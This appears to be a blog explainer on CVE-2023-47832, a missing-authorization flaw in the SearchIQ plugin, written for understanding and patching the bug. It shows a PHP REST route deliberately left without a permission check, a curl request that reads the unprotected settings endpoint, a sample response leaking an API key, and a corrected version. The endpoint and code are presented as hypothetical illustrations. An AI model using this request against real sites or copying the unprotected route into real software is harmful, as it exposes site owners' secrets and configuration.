CVE-2023-47832 - Exploiting Missing Authorization in SearchIQ (All Versions up to 4.4)

In late 2023, security researchers discovered CVE-2023-47832, a critical missing authorization vulnerability in SearchIQ—a popular search plugin. This flaw leaves all versions up to 4.4 wide open to unauthorized data access and potential manipulation. Here, we’ll break down what the vulnerability is, how it works, and even provide a sample exploit, all in clear and simple terms.

What is CVE-2023-47832?

CVE-2023-47832 is a Missing Authorization vulnerability in SearchIQ. The bug stems from improperly configured access control, meaning the system doesn't actually verify if a user has permission to view or change certain sensitive information. Anyone—logged in or not—can directly interact with parts of the plugin that should be restricted.

- Affected Software: SearchIQ (Plugin/Platform)

View sensitive query data or analytics

- Change configuration/settings for the plugin

Possibly inject or alter search results

Since there’s no authentication check, a simple HTTP request is all it takes.

Technical Details

The issue arises because certain endpoint URLs in SearchIQ do not check whether the person making the request is allowed to do so. For example, admin functions (like changing search configuration) are exposed to anyone who knows the endpoint URL.

Example Vulnerable Endpoint

Let’s say /wp-json/searchiq/v1/settings is being used to fetch or update SearchIQ settings.

Broken Code Example

// File in SearchIQ plugin core

add_action('rest_api_init', function () {
    register_rest_route('searchiq/v1', '/settings', array(
        'methods' => 'GET',
        'callback' => 'searchiq_get_settings',
        // Missing permissions_callback! Anyone can access!
    ));
});

function searchiq_get_settings() {
    // Returns sensitive settings
    return get_option('searchiq_settings');
}

> What’s wrong?
> The permissions_callback is missing. This allows anyone to call the endpoint and retrieve sensitive data.

You don’t need to log in or have any privileges. Just send a GET request

curl https://vulnerable-site.com/wp-json/searchiq/v1/settings

Expected Response

{
    "apiKey": "super-secret-key",
    "engine": "custom",
    "exclude_pages": [],
    ...
}

The API returns all internal settings—including, potentially, API keys and site-specific config.

Some setups may also allow configuration changes with a similar POST request.

Safer Code Example

register_rest_route('searchiq/v1', '/settings', array(
    'methods' => 'GET',
    'callback' => 'searchiq_get_settings',
    'permission_callback' => function () {
        return current_user_can('manage_options'); // Only admins!
    }
));

- Update the Plugin: If you use SearchIQ, upgrade to the latest security-patched version immediately.
